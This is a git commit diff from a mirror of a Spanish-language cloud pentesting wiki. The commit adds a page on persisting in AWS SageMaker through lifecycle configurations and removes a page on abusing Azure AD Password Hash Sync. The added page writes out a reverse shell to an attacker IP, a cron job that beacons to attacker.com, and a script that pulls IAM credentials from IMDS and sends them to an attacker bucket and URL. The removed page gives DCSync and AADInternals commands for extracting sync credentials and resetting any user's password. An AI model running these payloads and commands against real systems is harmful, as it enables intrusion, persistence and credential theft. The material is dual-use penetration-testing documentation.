mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-13 05:16:32 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
@@ -0,0 +1,156 @@
|
||||
# AWS - SageMaker Lifecycle Configuration Persistence
|
||||
|
||||
## Overview of Persistence Techniques
|
||||
|
||||
Esta sección describe métodos para obtener persistencia en SageMaker abusando de las Configuraciones de Ciclo de Vida (LCCs), incluyendo shells inversos, trabajos cron, robo de credenciales a través de IMDS y puertas traseras SSH. Estos scripts se ejecutan con el rol IAM de la instancia y pueden persistir a través de reinicios. La mayoría de las técnicas requieren acceso a la red saliente, pero el uso de servicios en el plano de control de AWS aún puede permitir el éxito si el entorno está en modo 'VPC-only'.
|
||||
#### Nota: Las instancias de cuadernos de SageMaker son esencialmente instancias EC2 gestionadas configuradas específicamente para cargas de trabajo de aprendizaje automático.
|
||||
|
||||
## Required Permissions
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Aplicaciones de Studio:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Configurar la Configuración del Ciclo de Vida en Instancias de Notebook
|
||||
|
||||
### Ejemplo de Comandos de AWS CLI:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Configuración del Ciclo de Vida en SageMaker Studio
|
||||
|
||||
Las Configuraciones del Ciclo de Vida se pueden adjuntar a varios niveles y a diferentes tipos de aplicaciones dentro de SageMaker Studio.
|
||||
|
||||
### Nivel de Dominio de Studio (Todos los Usuarios)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Nivel de Espacio de Estudio (Espacios Individuales o Compartidos)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipos de Configuraciones del Ciclo de Vida de la Aplicación de Studio
|
||||
|
||||
Las configuraciones del ciclo de vida se pueden aplicar específicamente a diferentes tipos de aplicaciones de SageMaker Studio:
|
||||
* JupyterServer: Ejecuta scripts durante el inicio del servidor Jupyter, ideal para mecanismos de persistencia como shells inversos y trabajos cron.
|
||||
* KernelGateway: Se ejecuta durante el lanzamiento de la aplicación del gateway de kernel, útil para la configuración inicial o el acceso persistente.
|
||||
* CodeEditor: Se aplica al Editor de Código (Code-OSS), habilitando scripts que se ejecutan al inicio de las sesiones de edición de código.
|
||||
|
||||
### Comando de Ejemplo para Cada Tipo:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Información Crítica:
|
||||
* Adjuntar LCCs a nivel de dominio o espacio impacta a todos los usuarios o aplicaciones dentro del alcance.
|
||||
* Requiere permisos más altos (sagemaker:UpdateDomain, sagemaker:UpdateSpace) que típicamente son más factibles a nivel de espacio que a nivel de dominio.
|
||||
* Controles a nivel de red (por ejemplo, filtrado de salida estricto) pueden prevenir shells reversos exitosos o exfiltración de datos.
|
||||
|
||||
## Shell Reverso a través de Configuración de Ciclo de Vida
|
||||
|
||||
Las Configuraciones de Ciclo de Vida de SageMaker (LCCs) ejecutan scripts personalizados cuando las instancias de notebook se inician. Un atacante con permisos puede establecer un shell reverso persistente.
|
||||
|
||||
### Ejemplo de Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Persistencia de Cron Job a través de la Configuración del Ciclo de Vida
|
||||
|
||||
Un atacante puede inyectar trabajos cron a través de scripts de LCC, asegurando la ejecución periódica de scripts o comandos maliciosos, lo que permite una persistencia sigilosa.
|
||||
|
||||
### Ejemplo de Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Exfiltración de Credenciales a través de IMDS (v1 y v2)
|
||||
|
||||
Las configuraciones de ciclo de vida pueden consultar el Servicio de Metadatos de Instancia (IMDS) para recuperar credenciales de IAM y exfiltrarlas a una ubicación controlada por el atacante.
|
||||
|
||||
### Ejemplo de Payload:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
|
||||
@@ -1,114 +0,0 @@
|
||||
# Az - PHS - Sincronización de Hash de Contraseña
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr la identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Es el **método más común** utilizado por las empresas para sincronizar un AD local con Azure AD.
|
||||
|
||||
Todos los **usuarios** y un **hash de los hashes de contraseña** se sincronizan desde el local a Azure AD. Sin embargo, las **contraseñas en texto claro** o los **hashes** **originales** no se envían a Azure AD.\
|
||||
Además, los grupos de seguridad **integrados** (como administradores de dominio...) **no se sincronizan** con Azure AD.
|
||||
|
||||
La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por defecto, la **expiración de contraseñas** y la **expiración de cuentas** **no se sincronizan** en Azure AD. Por lo tanto, un usuario cuya **contraseña local ha expirado** (no cambiada) puede continuar **accediendo a recursos de Azure** usando la contraseña antigua.
|
||||
|
||||
Cuando un usuario local quiere acceder a un recurso de Azure, la **autenticación se realiza en Azure AD**.
|
||||
|
||||
**PHS** es necesario para características como **Protección de Identidad** y Servicios de Dominio AAD.
|
||||
|
||||
## Pivotando
|
||||
|
||||
Cuando PHS está configurado, algunas **cuentas privilegiadas** se crean automáticamente:
|
||||
|
||||
- La cuenta **`MSOL_<installationID>`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Cuentas de Sincronización de Directorio** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**.
|
||||
- Se crea una cuenta **`Sync_<nombre del servidor ADConnect local>_installationID`** en Azure AD. Esta cuenta puede **restablecer la contraseña de CUALQUIER usuario** (sincronizado o solo en la nube) en Azure AD.
|
||||
|
||||
Las contraseñas de las dos cuentas privilegiadas anteriores se **almacenan en un servidor SQL** en el servidor donde **Azure AD Connect está instalado.** Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro.\
|
||||
La base de datos se encuentra en `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Es posible extraer la configuración de una de las tablas, siendo una de ellas encriptada:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
La **configuración encriptada** está encriptada con **DPAPI** y contiene las **contraseñas del usuario `MSOL_*`** en el AD local y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometer estas es posible para elevar privilegios en el AD y en AzureAD.
|
||||
|
||||
Puedes encontrar una [visión general completa de cómo se almacenan y desencriptan estas credenciales en esta charla](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Encontrando el **servidor de Azure AD connect**
|
||||
|
||||
Si el **servidor donde está instalado Azure AD connect** está unido al dominio (recomendado en la documentación), es posible encontrarlo con:
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### Abusando de MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> También puedes usar [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) para obtener estas credenciales.
|
||||
|
||||
### Abusando de Sync\_\*
|
||||
|
||||
Comprometer la cuenta **`Sync_*`** permite **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales)
|
||||
```bash
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
También es posible **modificar las contraseñas de solo los usuarios de la nube** (incluso si eso es inesperado)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
También es posible volcar la contraseña de este usuario.
|
||||
|
||||
> [!CAUTION]
|
||||
> Otra opción sería **asignar permisos privilegiados a un principal de servicio**, que el usuario **Sync** tiene **permisos** para hacer, y luego **acceder a ese principal de servicio** como una forma de privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
Es posible usar Seamless SSO con PHS, que es vulnerable a otros abusos. Revísalo en:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user